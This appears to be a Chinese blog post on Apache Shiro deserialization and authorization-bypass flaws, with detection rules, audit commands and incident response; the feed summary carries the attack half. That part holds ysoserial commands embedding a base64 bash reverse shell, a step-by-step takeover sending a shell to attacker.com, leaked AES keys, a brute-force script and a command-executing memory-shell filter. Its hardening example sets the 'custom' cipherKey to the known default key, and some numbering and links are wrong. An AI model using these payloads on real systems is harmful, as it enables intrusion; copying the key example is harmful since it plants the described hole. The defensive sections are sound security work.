<h3 id="43-关闭-rememberme">4.3 关闭 RememberMe</h3>

<p>如果不需要记住我功能，建议关闭：</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">SecurityManager</span> <span class="nf">securityManager</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">DefaultWebSecurityManager</span> <span class="n">securityManager</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DefaultWebSecurityManager</span><span class="o">();</span>
    <span class="c1">// 禁用 RememberMe</span>
    <span class="n">securityManager</span><span class="o">.</span><span class="na">setRememberMeManager</span><span class="o">(</span><span class="kc">null</span><span class="o">);</span>
    <span class="k">return</span> <span class="n">securityManager</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="44-反序列化防护">4.4 反序列化防护</h3>

<p><strong>使用白名单</strong>：</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 配置反序列化过滤器</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">ShiroFilterFactoryBean</span> <span class="nf">shiroFilterFactoryBean</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">ShiroFilterFactoryBean</span> <span class="n">filter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ShiroFilterFactoryBean</span><span class="o">();</span>
    
    <span class="c1">// 配置安全过滤器</span>
    <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">filterMap</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">&lt;&gt;();</span>
    <span class="n">filterMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"/**"</span><span class="o">,</span> <span class="s">"authc"</span><span class="o">);</span>  <span class="c1">// 全部需要认证</span>
    <span class="n">filter</span><span class="o">.</span><span class="na">setFilterChainDefinitionMap</span><span class="o">(</span><span class="n">filterMap</span><span class="o">);</span>
    
    <span class="k">return</span> <span class="n">filter</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>RASP 防护</strong>：</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 在 JVM 层面拦截反序列化</span>
<span class="nc">Instrumentation</span> <span class="n">instrumentation</span> <span class="o">=</span> <span class="o">...;</span>
<span class="n">instrumentation</span><span class="o">.</span><span class="na">addTransformer</span><span class="o">(</span><span class="k">new</span> <span class="nc">ClassFileTransformer</span><span class="o">()</span> <span class="o">{</span>
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">transform</span><span class="o">(...)</span> <span class="o">{</span>
        <span class="c1">// 拦截 ObjectInputStream</span>
        <span class="c1">// 检查反序列化类是否在白名单</span>
    <span class="o">}</span>
<span class="o">});</span>
</code></pre></div></div>

<h3 id="45-url-规范化">4.5 URL 规范化</h3>

<p><strong>统一使用 Spring 的 AntPathMatcher</strong>：</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">ShiroFilterFactoryBean</span> <span class="nf">shiroFilterFactoryBean</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">ShiroFilterFactoryBean</span> <span class="n">filter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ShiroFilterFactoryBean</span><span class="o">();</span>
    
    <span class="c1">// 使用 Spring 的路径匹配器</span>
    <span class="nc">PathMatchingFilterChainResolver</span> <span class="n">resolver</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PathMatchingFilterChainResolver</span><span class="o">();</span>
    <span class="n">resolver</span><span class="o">.</span><span class="na">setPathMatcher</span><span class="o">(</span><span class="k">new</span> <span class="nc">AntPathMatcher</span><span class="o">());</span>
    
    <span class="k">return</span> <span class="n">filter</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>严格 URL 配置</strong>：</p>
<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 不要使用通配符配置敏感路径
</span><span class="err">/admin/**</span> <span class="err">=</span> <span class="err">authc,</span> <span class="err">roles</span><span class="nn">[admin]</span>

<span class="c"># 应该明确配置
</span><span class="err">/admin/</span><span class="py">user</span> <span class="p">=</span> <span class="s">authc, roles[admin]</span>
<span class="err">/admin/</span><span class="py">config</span> <span class="p">=</span> <span class="s">authc, roles[admin]</span>
</code></pre></div></div>

<h3 id="46-waf-防护规则">4.6 WAF 防护规则</h3>

<p><strong>ModSecurity 规则示例</strong>：</p>
<div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 检测 Shiro 反序列化攻击</span>
SecRule REQUEST_HEADERS:Cookie "@contains rememberMe=" \
    <span class="err">"</span>id:1001,phase:1,deny,status:403,msg:'Shiro Deserialization Attack Detected'"

<span class="c"># 检测非法 rememberMe Cookie 长度</span>
SecRule REQUEST_HEADERS:Cookie "@rx rememberMe=[A-Za-z0-9+/]{1000,}" \
    <span class="err">"</span>id:1002,phase:1,deny,status:403,msg:'Suspicious Shiro <span class="ss">Cookie</span> Length'"

<span class="c"># 检测路径遍历绕过</span>
SecRule <span class="ss">REQUEST_URI</span> "@rx /(\\x2e|%2e|%252e)" \
    <span class="err">"</span>id:1003,phase:1,deny,status:403,msg:'Path Traversal Detected'"
</code></pre></div></div>

<p><strong>Nginx Lua 防护</strong>：</p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 检测 rememberMe Cookie</span>
<span class="k">if</span> <span class="n">ngx</span><span class="p">.</span><span class="n">var</span><span class="p">.</span><span class="n">http_cookie</span> <span class="k">then</span>
    <span class="kd">local</span> <span class="n">rememberMe</span> <span class="o">=</span> <span class="n">ngx</span><span class="p">.</span><span class="n">var</span><span class="p">.</span><span class="n">http_cookie</span><span class="p">:</span><span class="n">match</span><span class="p">(</span><span class="s2">"rememberMe=([^;]+)"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">rememberMe</span> <span class="ow">and</span> <span class="o">#</span><span class="n">rememberMe</span> <span class="o">&gt;</span> <span class="mi">500</span> <span class="k">then</span>
        <span class="c1">-- 记录日志并拦截</span>
        <span class="n">ngx</span><span class="p">.</span><span class="n">log</span><span class="p">(</span><span class="n">ngx</span><span class="p">.</span><span class="n">ERR</span><span class="p">,</span> <span class="s2">"Shiro attack detected from "</span> <span class="o">..</span> <span class="n">ngx</span><span class="p">.</span><span class="n">var</span><span class="p">.</span><span class="n">remote_addr</span><span class="p">)</span>
        <span class="n">ngx</span><span class="p">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">403</span><span class="p">)</span>
    <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<h3 id="47-日志监控与告警">4.7 日志监控与告警</h3>

<p><strong>需要监控的关键日志</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 记录所有 rememberMe 反序列化尝试</span>
<span class="n">log</span><span class="o">.</span><span class="na">warn</span><span class="o">(</span><span class="s">"RememberMe cookie deserialization attempted from IP: {}"</span><span class="o">,</span> 
         <span class="n">request</span><span class="o">.</span><span class="na">getRemoteAddr</span><span class="o">());</span>

<span class="c1">// 记录失败的 URL 访问</span>
<span class="n">log</span><span class="o">.</span><span class="na">warn</span><span class="o">(</span><span class="s">"Unauthorized access attempt to: {} from IP: {}"</span><span class="o">,</span> 
         <span class="n">request</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getRemoteAddr</span><span class="o">());</span>
</code></pre></div></div>

<p><strong>ELK 告警规则</strong>：</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"query"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"bool"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"must"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w"> </span><span class="nl">"match"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"message"</span><span class="p">:</span><span class="w"> </span><span class="s2">"rememberMe"</span><span class="w"> </span><span class="p">}},</span><span class="w">
        </span><span class="p">{</span><span class="w"> </span><span class="nl">"range"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"@timestamp"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"gte"</span><span class="p">:</span><span class="w"> </span><span class="s2">"now-5m"</span><span class="w"> </span><span class="p">}}}</span><span class="w">
      </span><span class="p">]</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Splunk 搜索</strong>：</p>
<pre><code class="language-splunk"># 统计 rememberMe 异常请求
index=web source=*access.log* "rememberMe" 
| stats count by clientip, uri 
| where count &gt; 10 
| table clientip, uri, count
</code></pre>

<hr />

<h2 id="五代码审计检查点">五、代码审计检查点</h2>

<h3 id="51-检查清单">5.1 检查清单</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>□ Shiro 版本是否 &gt;= 1.7.1
□ rememberMe 是否配置了随机密钥
□ 是否存在硬编码密钥
□ URL 配置是否严格
□ 是否禁用了不必要的功能
□ 反序列化是否有白名单限制
</code></pre></div></div>

<h3 id="52-审计工具">5.2 审计工具</h3>

<p><strong>Maven 依赖检查</strong>：</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 检查 Shiro 版本</span>
mvn dependency:tree | <span class="nb">grep </span>shiro

<span class="c"># 使用 OWASP 检查漏洞</span>
mvn org.owasp:dependency-check-maven:check
</code></pre></div></div>

<p><strong>源代码审计</strong>：</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 搜索硬编码密钥</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"cipherKey"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.ini"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.xml"</span>

<span class="c"># 搜索 rememberMe 配置</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"rememberMe"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.ini"</span>

<span class="c"># 搜索危险配置</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"setRememberMeManager"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"CookieRememberMeManager"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span>
</code></pre></div></div>

<p><strong>IDEA 插件推荐</strong>：</p>
<ul>
  <li><strong>SonarLint</strong>：实时检测安全漏洞</li>
  <li><strong>OWASP Dependency-Check</strong>：检查依赖漏洞</li>
  <li><strong>SpotBugs</strong>：静态代码分析</li>
</ul>

<hr />

<h2 id="六应急响应">六、应急响应</h2>

<h3 id="61-入侵检测">6.1 入侵检测</h3>

<p><strong>检查是否已被攻击</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. 检查日志中是否有异常的 rememberMe</span>
zgrep <span class="nt">-i</span> <span class="s2">"rememberMe"</span> /var/log/tomcat<span class="k">*</span>/access_log<span class="k">*</span> | <span class="nb">tail</span> <span class="nt">-100</span>

<span class="c"># 2. 检查是否包含可疑的 Base64 字符串（长度超过500）</span>
<span class="nb">awk</span> <span class="nt">-F</span><span class="s1">'rememberMe='</span> <span class="s1">'/rememberMe=/{print $2}'</span> /var/log/tomcat<span class="k">*</span>/access_log<span class="k">*</span> | <span class="se">\</span>
  <span class="nb">awk</span> <span class="nt">-F</span><span class="s1">';'</span> <span class="s1">'{print $1}'</span> | <span class="nb">awk</span> <span class="s1">'length &gt; 500'</span>

<span class="c"># 3. 检查系统是否存在后门</span>
find /tmp /var/tmp <span class="nt">-name</span> <span class="s2">"*.sh"</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s2">"*.jsp"</span> <span class="nt">-mtime</span> <span class="nt">-1</span> 2&gt;/dev/null

<span class="c"># 4. 检查网络连接</span>
netstat <span class="nt">-antp</span> | <span class="nb">grep </span>ESTABLISHED
ss <span class="nt">-antp</span> | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s2">"127.0.0.1"</span>

<span class="c"># 5. 检查定时任务</span>
crontab <span class="nt">-l</span>
<span class="nb">cat</span> /etc/cron.d/<span class="k">*</span>
<span class="nb">ls</span> <span class="nt">-la</span> /etc/cron.daily/
</code></pre></div></div>

<p><strong>Java 进程分析</strong>：</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 查找可疑的类加载</span>
jcmd &lt;pid&gt; VM.classloader_stats

<span class="c"># 导出堆内存分析</span>
jmap <span class="nt">-dump</span>:format<span class="o">=</span>b,file<span class="o">=</span>/tmp/heap.hprof &lt;pid&gt;

<span class="c"># 使用 MAT 工具分析堆内存</span>
<span class="c"># 查找 org.apache.shiro.mgt.RememberMeManager 实例</span>
</code></pre></div></div>

<h3 id="62-应急处置">6.2 应急处置</h3>

<p><strong>紧急止损措施</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. 立即下线应用（或切换到维护页面）</span>
<span class="nb">mv </span>webapps/ROOT webapps/ROOT.bak
<span class="nb">cp </span>maintenance.html webapps/ROOT/

<span class="c"># 2. 阻断攻击者 IP</span>
iptables <span class="nt">-A</span> INPUT <span class="nt">-s</span> &lt;attacker_ip&gt; <span class="nt">-j</span> DROP

<span class="c"># 3. 清理恶意文件</span>
find / <span class="nt">-name</span> <span class="s2">"*.jsp"</span> <span class="nt">-newer</span> /var/www/ <span class="nt">-exec</span> <span class="nb">ls</span> <span class="nt">-la</span> <span class="o">{}</span> <span class="se">\;</span>
find /tmp <span class="nt">-name</span> <span class="s2">"*shell*"</span> <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-f</span> <span class="o">{}</span> <span class="se">\;</span>

<span class="c"># 4. 重启应用（清除内存马）</span>
systemctl restart tomcat
</code></pre></div></div>

<p><strong>恢复步骤</strong>：</p>
<ol>
  <li>升级到最新版本 Shiro</li>
  <li>更换 AES 密钥</li>
  <li>清理所有恶意文件</li>
  <li>全量代码审计</li>
  <li>修改所有用户密码</li>
  <li>重新上线并加强监控</li>
</ol>

<h3 id="63-常用工具对比">6.3 常用工具对比</h3>

<table>
  <thead>
    <tr>
      <th>工具名称</th>
      <th>功能</th>
      <th>适用场景</th>
      <th>推荐指数</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>ShiroExploit</strong></td>
      <td>GUI 利用工具</td>
      <td>快速检测与利用</td>
      <td>★★★★★</td>
    </tr>
    <tr>
      <td><strong>ysoserial</strong></td>
      <td>生成序列化 Payload</td>
      <td>自定义利用链</td>
      <td>★★★★★</td>
    </tr>
    <tr>
      <td><strong>shiro_attack</strong></td>
      <td>Python 利用脚本</td>
      <td>批量扫描</td>
      <td>★★★★☆</td>
    </tr>
    <tr>
      <td><strong>marshalsec</strong></td>
      <td>JRMP 利用</td>
      <td>绕过某些限制</td>
      <td>★★★☆☆</td>
    </tr>
    <tr>
      <td><strong>Burp插件</strong></td>
      <td>集成到 Burp</td>
      <td>渗透测试</td>
      <td>★★★★☆</td>
    </tr>
    <tr>
      <td><strong>nuclei</strong></td>
      <td>批量漏洞扫描</td>
      <td>资产普查</td>
      <td>★★★★★</td>
    </tr>
  </tbody>
</table>

<p><strong>工具下载地址</strong>：</p>
<ul>
  <li>ShiroExploit: https://github.com/feihong-cs/ShiroExploit</li>
  <li>shiro_attack: https://github.com/sv3nbeast/shiro_attack</li>
  <li>ysoserial: https://github.com/frohoff/ysoserial</li>
</ul>

<hr />

<h2 id="七总结">七、总结</h2>

<p>Apache Shiro 作为 Java 安全框架，虽然功能强大，但历史上多次出现严重安全漏洞。防护要点：</p>

<ol>
  <li><strong>及时升级</strong>：保持使用最新版本（&gt;= 1.12.0）</li>
  <li><strong>密钥管理</strong>：使用随机生成的强密钥（256位推荐）</li>
  <li><strong>最小权限</strong>：禁用不需要的功能（如 RememberMe）</li>
  <li><strong>严格配置</strong>：URL 权限配置要精确，避免绕过</li>
  <li><strong>多层防御</strong>：结合 RASP、WAF、日志监控</li>
  <li><strong>应急响应</strong>：建立完善的入侵检测和处置流程</li>
</ol>

<p><strong>安全是持续的过程，而非一次性的配置。</strong></p>

<hr />

<h2 id="参考资源">参考资源</h2>

<h3 id="官方文档">官方文档</h3>
<ul>
  <li><a href="https://shiro.apache.org/documentation.html">Apache Shiro 官方文档</a></li>
  <li><a href="https://shiro.apache.org/security-reports.html">Shiro Security Reports</a></li>
</ul>

<h3 id="cve-详情">CVE 详情</h3>
<ul>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437">CVE-2016-4437</a> - Shiro-550</li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12422">CVE-2019-12422</a> - Shiro-721</li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11989">CVE-2020-11989</a> - 权限绕过</li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13933">CVE-2020-13933</a> - 权限绕过</li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17510">CVE-2020-17510</a> - 权限绕过</li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41303">CVE-2021-41303</a> - Shiro-778</li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40664">CVE-2022-40664</a> - 认证绕过</li>
</ul>

<h3 id="技术文章">技术文章</h3>
<ul>
  <li><a href="https://en.wikipedia.org/wiki/Padding_oracle_attack">Padding Oracle Attack 原理</a></li>
  <li><a href="https://security.tencent.com/index.php/blog/msg/136">Java 反序列化漏洞基础</a></li>
  <li><a href="https://paper.seebug.org/shiro">Shiro 漏洞原理与利用</a></li>
</ul>

<h3 id="工具下载">工具下载</h3>
<ul>
  <li><a href="https://github.com/feihong-cs/ShiroExploit">ShiroExploit</a> - GUI 利用工具</li>
  <li><a href="https://github.com/sv3nbeast/shiro_attack">shiro_attack</a> - Python 利用脚本</li>
  <li><a href="https://github.com/frohoff/ysoserial">ysoserial</a> - Java 反序列化 Payload 生成</li>
  <li><a href="https://github.com/projectdiscovery/nuclei-templates">nuclei-templates</a> - 扫描模板</li>
  <li><a href="https://github.com/pmiaowu/BurpReflectiveXssMiao">Burp-Shiro</a> - Burp 插件</li>
</ul>

<hr />

<p><strong>免责声明</strong>：本文仅供安全研究和学习交流使用，请勿用于非法用途。使用本文内容造成的任何后果，作者不承担任何责任。</p>]]></content><author><name>江流</name></author><category term="Java安全" /><category term="Web安全" /><category term="Apache Shiro" /><category term="Java" /><category term="反序列化" /><category term="安全加固" /><category term="渗透测试" /><category term="代码审计" /><summary type="html"><![CDATA[Apache Shiro安全配置与漏洞利用 Apache Shiro是一个功能强大且易于使用的Java安全框架，提供了认证、授权、加密和会话管理功能。然而，由于其设计缺陷和配置不当，Shiro成为了Java Web应用中最常见的攻击入口之一。本文将从攻击者视角全面梳理Shiro的各个攻击面，并给出对应的防御方案。 一、Apache Shiro基础 1.1 什么是Apache Shiro Apache Shiro是一个轻量级的Java安全框架，主要功能包括： Authentication（认证）：验证用户身份，即登录 Authorization（授权）：访问控制，判断用户是否有权限执行某操作 Session Management（会话管理）：管理用户会话，即使在非Web环境下 Cryptography（加密）：使用加密算法保护数据安全 1.2 Shiro核心组件 Subject（主体） ↓ SecurityManager（安全管理器） ↓ Realm（领域） ↓ 数据源（数据库、LDAP等） 核心概念： Subject：当前操作用户，可以是人也可以是第三方服务 SecurityManager：安全管理器，Shiro的核心，管理所有Subject Realm：域，Shiro从Realm获取安全数据（用户、角色、权限） Session：会话，Shiro提供的会话管理 Cryptography：加密组件，用于加密和解密 1.3 Shiro的RememberMe机制 Shiro的RememberMe功能允许用户在关闭浏览器后仍然保持登录状态。其工作流程： 用户登录时勾选”记住我” Shiro将用户信息序列化 使用AES加密序列化数据 Base64编码后存储在Cookie中（rememberMe字段） 下次访问时，Shiro读取Cookie Base64解码 → AES解密 → 反序列化 → 恢复用户信息 这个机制是Shiro最大的安全隐患所在。 二、Shiro反序列化漏洞 2.1 Shiro-550（CVE-2016-4437） 这是Shiro历史上最严重的漏洞，影响范围极广。 漏洞原理： Shiro 1.2.4及之前版本使用硬编码的AES密钥加密RememberMe Cookie。攻击者可以： 使用已知密钥构造恶意序列化对象 AES加密后Base64编码 发送恶意Cookie 服务端解密并反序列化，触发RCE 硬编码密钥： // org.apache.shiro.mgt.AbstractRememberMeManager private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode( "kPH+bIxk5D2deZiIxcaaaA==" ); 受影响版本： Apache Shiro &lt; 1.2.5 漏洞利用： 利用工具：shiro_tool.jar 或 ShiroExploit # 使用 ShiroExploit 进行漏洞检测 java -jar ShiroExploit.jar -t http://target.com/login # 验证密钥是否存在 python3 shiro_exploit.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" 利用链选择： 利用链 依赖要求 适用场景 成功率 CommonsBeanutils1 无特殊依赖 通用 ★★★★★ CommonsCollections2/3/4 commons-collections 存在依赖时 ★★★★☆ Spring1/Spring2 Spring框架 Spring项目 ★★★☆☆ Jdk7u21 JDK &lt; 7u21 老版本JDK ★★★☆☆ CommonsBeanutils1 为什么不需要依赖？ // Shiro 本身依赖了 commons-beanutils // org.apache.shiro:shiro-core -&gt; commons-beanutils:commons-beanutils // 利用链原理： // PriorityQueue.readObject() // -&gt; TransformingComparator.compare() // -&gt; BeanComparator.compare() // -&gt; PropertyUtils.getProperty() // -&gt; TemplatesImpl.getOutputProperties() // -&gt; 加载恶意字节码 ysoserial 生成 Payload： # 基础用法 java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" &gt; payload.bin # 结合 JRMP 监听器 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc.exe" # 生成 base64 编码的 payload java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{base64,-d}|{bash,-i}" | base64 依赖检测方法： # 1. 检查 lib 目录 ls WEB-INF/lib/ | grep -E "commons-collections|spring" # 2. 错误回显判断 # 发送 payload 后，如果返回 500 且包含 ClassNotFoundException # 说明缺少对应依赖 # 3. 使用 dnslog 探测 # 分别尝试不同利用链，看哪个能触发 DNS 请求 2.2 Shiro-721（CVE-2019-12422） 漏洞原理： Shiro 1.2.5-1.4.1 版本使用 AES-128-CBC 加密，密钥虽然不再硬编码，但使用了 Padding Oracle Attack（填充预言攻击）可以逆向破解密钥。 攻击条件： 需要任意一个有效的 rememberMe Cookie 服务端使用 CBC 模式加密 可以观察到不同的错误响应（解密失败 vs 反序列化失败） 利用过程： # 使用 rememberMe 字段进行 Padding Oracle 攻击 # 逐步修改密文，观察响应差异 # 最终解密出 AES 密钥 受影响版本： Apache Shiro 1.2.5 - 1.4.1 2.3 Shiro-778（CVE-2021-41303） 漏洞原理： Shiro 1.7.0 版本之前的 RegExPatternMatcher 存在缺陷，攻击者可以通过构造包含控制字符的路径绕过权限检查。 绕过方式： /admin/user → 需要认证 /admin/user%0a → 绕过认证（%0a 是换行符） /admin/user%0d → 绕过认证（%0d 是回车符） 根本原因： 正则表达式匹配时未对控制字符做过滤，导致匹配失败但实际访问成功。 受影响版本： Apache Shiro &lt; 1.7.1 2.4 其他高危漏洞 CVE-2022-40664 - 认证绕过 漏洞原理： Shiro 1.10.0 之前的版本，当使用 RegexRequestMatcher 时，可能导致身份验证绕过。 影响： Apache Shiro &lt; 1.10.0 修复方案： 升级到 1.10.0 或以上版本。 2.5 Shiro权限绕过漏洞 2.5.1 CVE-2020-11989 漏洞原理： Shiro 与 Spring 集成时，URL 解析差异导致权限绕过。 绕过方式： 正常访问：/admin/user → 需要认证 绕过路径：/admin/user/ → 绕过认证 /admin/user/. → 绕过认证 根本原因： Shiro：PathMatchingFilter 使用 endsWith 匹配 Spring：@RequestMapping 会规范化路径 2.3.2 CVE-2020-13933 漏洞原理： 编码问题导致的权限绕过。 绕过方式： /admin/user → 需要认证 /admin/%3buser → 绕过认证（;编码为%3b） /admin/%2euser → 绕过认证（.编码为%2e） 2.3.3 CVE-2020-17510 漏洞原理： Shiro 1.5.0-1.5.3 在处理 URL 路径时的缺陷。 绕过方式： /admin/user → 需要认证 /admin/user/..;/index → 绕过认证 完整利用流程示例： 场景：某系统使用 Shiro 1.2.4，发现 rememberMe=deleteMe # Step 1: 确认存在 Shiro ➜ curl -s -o /dev/null -w "%{http_code}" http://target.com/login -H "Cookie: rememberMe=test" 200 # 查看响应头包含 rememberMe=deleteMe，确认存在 Shiro # Step 2: 使用工具检测密钥 ➜ python3 shiro.py -u http://target.com/login [+] 正在检测密钥... [+] 发现密钥: kPH+bIxk5D2deZiIxcaaaA== # Step 3: 尝试执行命令 ➜ python3 shiro.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami" [+] 目标系统: Linux [+] 命令执行成功: www-data # Step 4: 获取 Shell # 本地监听 ➜ nc -lvvp 4444 # 发送反弹 shell payload ➜ python3 shiro.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" \ -c "bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1" # Step 5: 注入内存马（可选） # 通过反序列化注入 Filter 型内存马 # 访问: http://target.com/?cmd=whoami 三、Shiro漏洞实战利用 3.1 信息收集 识别 Shiro 应用： Cookie 特征： Set-Cookie: rememberMe=deleteMe 响应头特征： X-Powered-By: Shiro URL 特征： /login /logout /unauthorized 检测脚本： import requests def detect_shiro(url): headers = { 'Cookie': 'rememberMe=test' } resp = requests.get(url, headers=headers, allow_redirects=False) if 'rememberMe=deleteMe' in str(resp.headers): print(f"[+] {url} 可能存在 Shiro 漏洞") return True return False 3.2 密钥爆破 常见密钥列表： Shiro 官方默认密钥（1.2.4及之前）： kPH+bIxk5D2deZiIxcaaaA== 网上公开的常见密钥（收集自GitHub、漏洞复现文章）： wGiHplamyXlVB11UXWol8g== 4AvVhmFLUs0KTA3Kprsdag== fCq+/xW488hMTCD+cmJ3aQ== 1QWLxg+NYmxraMoxAXu/Iw== Z3VucwAAAAAAAAAAAAAAAA== ZUdsaGJuSmxibVI2ZHc9PQ== U3ByaW5nQmxhZGUAAAAAAA== MWJjNmQ3MjEzMzZjODM2NQ== ZGVmYXVsdF9jaXBoZXJrZXk= 2itfHvFqDZF7Htc1vT1wcQ== QJpM8T7rSZAGXvF0QwKoQA== 密钥收集工具： # 使用 fofa 语法搜索 Shiro 应用 title="Shiro" &amp;&amp; body="rememberMe" # 使用 nuclei 批量检测 nuclei -l urls.txt -t shiro-detection.yaml # 使用 xray 主动扫描 xray webscan --plugins shiro --url http://target.com 爆破脚本： import base64 import requests from Crypto.Cipher import AES def check_key(url, key): # 构造序列化 payload（简单的 DNSLog） payload = b'\xac\xed...' # ysoserial 生成的 payload # AES 加密 cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv=b'1234567890123456') encrypted = cipher.encrypt(payload) # 发送请求 cookie = base64.b64encode(encrypted).decode() resp = requests.get(url, cookies={'rememberMe': cookie}) # 根据响应判断 if 'deleteMe' not in resp.headers.get('Set-Cookie', ''): return True return False 3.3 回显与内存马 命令回显方法： Tomcat 回显：利用 Tomcat 全局存储 Response 对象 Spring 回显：利用 RequestContextHolder 获取当前请求 字节码修改：修改关键类的 toString 方法 内存马注入： // Filter 型内存马 Filter filter = new Filter() { @Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) { String cmd = req.getParameter("cmd"); if (cmd != null) { Runtime.getRuntime().exec(cmd); } chain.doFilter(req, resp); } }; // 注册到 FilterChain 四、防御方案 4.1 升级版本 推荐版本： Apache Shiro &gt;= 1.7.1（修复已知所有绕过漏洞） Apache Shiro &gt;= 1.5.3（修复 Padding Oracle） Apache Shiro &gt;= 1.2.5（修复默认密钥） Maven 依赖升级： &lt;dependency&gt; &lt;groupId&gt;org.apache.shiro&lt;/groupId&gt; &lt;artifactId&gt;shiro-core&lt;/artifactId&gt; &lt;version&gt;1.12.0&lt;/version&gt; &lt;/dependency&gt; 4.2 密钥安全 生成随机密钥： // 生成 128/256 位随机密钥 byte[] keyBytes = new byte[16]; // 128位 new SecureRandom().nextBytes(keyBytes); String base64Key = Base64.encodeToString(keyBytes); System.out.println("AES Key: " + base64Key); 配置密钥： # shiro.ini [main] # 使用自定义密钥 rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA== # 或者使用 KeyGenerator credentialsMatcher.hashIterations = 1024 credentialsMatcher.hashAlgorithmName = SHA-256 4.3 关闭 RememberMe 如果不需要记住我功能，建议关闭： @Bean public SecurityManager securityManager() { DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); // 禁用 RememberMe 